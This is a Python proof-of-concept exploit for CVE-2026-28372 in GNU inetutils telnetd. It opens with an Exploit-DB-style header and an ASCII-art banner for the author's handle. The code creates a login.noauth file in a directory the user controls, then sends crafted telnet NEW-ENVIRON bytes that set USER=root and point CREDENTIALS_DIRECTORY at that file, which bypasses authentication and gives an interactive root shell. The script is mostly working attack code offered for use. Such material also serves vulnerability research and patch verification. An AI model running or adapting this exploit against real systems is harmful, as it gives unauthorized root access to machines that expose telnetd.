#!/usr/bin/env python3 # Exploit Title: CVE-2026-28372 - GNU inetutils telnetd Privilege Escalation via CREDENTIALS_DIRECTORY + login.noauth # CVE: CVE-2026-28372 # Date: 2026-02-27 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://www.gnu.org/software/inetutils/ # Software Link: https://ftp.gnu.org/gnu/inetutils/inetutils-2.7.tar.xz # Affected: GNU inetutils telnetd <= 2.7 (when paired with util-linux >= ~2.40 that supports login.noauth) # Tested on: Ubuntu / Debian derivatives with inetutils-telnetd + util-linux 2.40+ # Category: Local Privilege Escalation # Platform: Linux # Exploit Type: Local → Root via environment variable injection + file placement # CVSS: 7.4 (HIGH) CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H # CWE: CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) # Description: telnetd passes client-controlled env vars to login(1). Setting CREDENTIALS_DIRECTORY # to an attacker dir containing login.noauth="yes" bypasses auth → root shell possible. # Fixed in: inetutils post-2.7 patches (unsetenv("CREDENTIALS_DIRECTORY") or full env sanitization) # Usage: # 1. Run this script as unprivileged user (creates setup + launches exploit) # 2. telnetd must be running and accept connections (even on 127.0.0.1) # # Example: # python3 cve-2026-28372.py # # Notes: # • Requires local file write access (any user home dir is fine) # • telnetd must spawn /bin/login or /usr/bin/login # • If telnetd is not running → start it temporarily (for testing only) # • Real exploitation usually needs telnetd already exposed/running # # Step-by-step: # 1. Create controlled directory + login.noauth file # 2. Use custom telnet client to send ENVIRON options # 3. Force login to see the file → auth bypass → root shell print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-28372 • telnetd → Root via login.noauth ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import os import sys import socket import telnetlib import argparse import tempfile import subprocess import time def create_bypass_file(): """Step 1: Create attacker-controlled credentials directory + login.noauth""" base_dir = os.path.expanduser("~/fake_creds_cve_2026_28372") noauth_path = os.path.join(base_dir, "login.noauth") try: os.makedirs(base_dir, exist_ok=True) with open(noauth_path, "w") as f: f.write("yes\n") print(f"[+] Created bypass file: {noauth_path}") print(f"[+] CREDENTIALS_DIRECTORY will point to: {base_dir}") return base_dir except Exception as e: print(f"[-] Failed to create bypass file: {e}") sys.exit(1) def exploit_telnet(target_host="127.0.0.1", target_port=23, credentials_dir="", user="root"): """Step 2: Custom telnet client that injects malicious ENVIRON options""" print(f"[*] Connecting to telnetd {target_host}:{target_port} ...") print(f"[*] Injecting: USER={user} CREDENTIALS_DIRECTORY={credentials_dir}") try: tn = telnetlib.Telnet(target_host, target_port, timeout=10) # Wait for telnetd to be ready (usually sends DO/WILL options) time.sleep(1.5) # Send ENVIRON requests (telnet option 36 = NEW-ENVIRON) # We abuse the protocol to define and export dangerous variables tn.sock.sendall(b"\xff\xfb\x24") # WILL NEW-ENVIRON (offer to send vars) time.sleep(0.5) # Define and export USER and CREDENTIALS_DIRECTORY # Format: IAC SB NEW-ENVIRON IS VAR "name" VALUE "val" IAC SE env_payload = ( b"\xff\xfa\x24\x01" + # IAC SB NEW-ENVIRON IS b"\x00" + b"USER" + b"\x01" + user.encode() + # VAR USER VAL root b"\x00" + b"CREDENTIALS_DIRECTORY" + b"\x01" + credentials_dir.encode() + # VAR CRED... VAL /path b"\xff\xf0" # IAC SE ) tn.sock.sendall(env_payload) time.sleep(1) # Now send login attempt (telnet usually sends username next, but we already set USER) tn.write(b"\r\n") # trigger login prompt processing print("[*] Exploit payload sent. Waiting for root shell...") # Interact (if successful → you get root prompt without password) tn.interact() except Exception as e: print(f"[-] Exploit failed: {e}") print(" → Is telnetd running? Can it connect from localhost?") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="CVE-2026-28372 telnetd LPE PoC") parser.add_argument("--host", default="127.0.0.1", help="telnetd host (default: 127.0.0.1)") parser.add_argument("--port", type=int, default=23, help="telnetd port (default: 23)") parser.add_argument("--user", default="root", help="Target user to impersonate (default: root)") args = parser.parse_args() print("[*] CVE-2026-28372 PoC - telnetd priv esc via login.noauth bypass") print("[*] Operator: Mohammed Idrees Banyamer (@banyamer_security)\n") # Prepare the bypass file cred_dir = create_bypass_file() # Launch the exploit exploit_telnet(args.host, args.port, cred_dir, args.user) if __name__ == "__main__": main()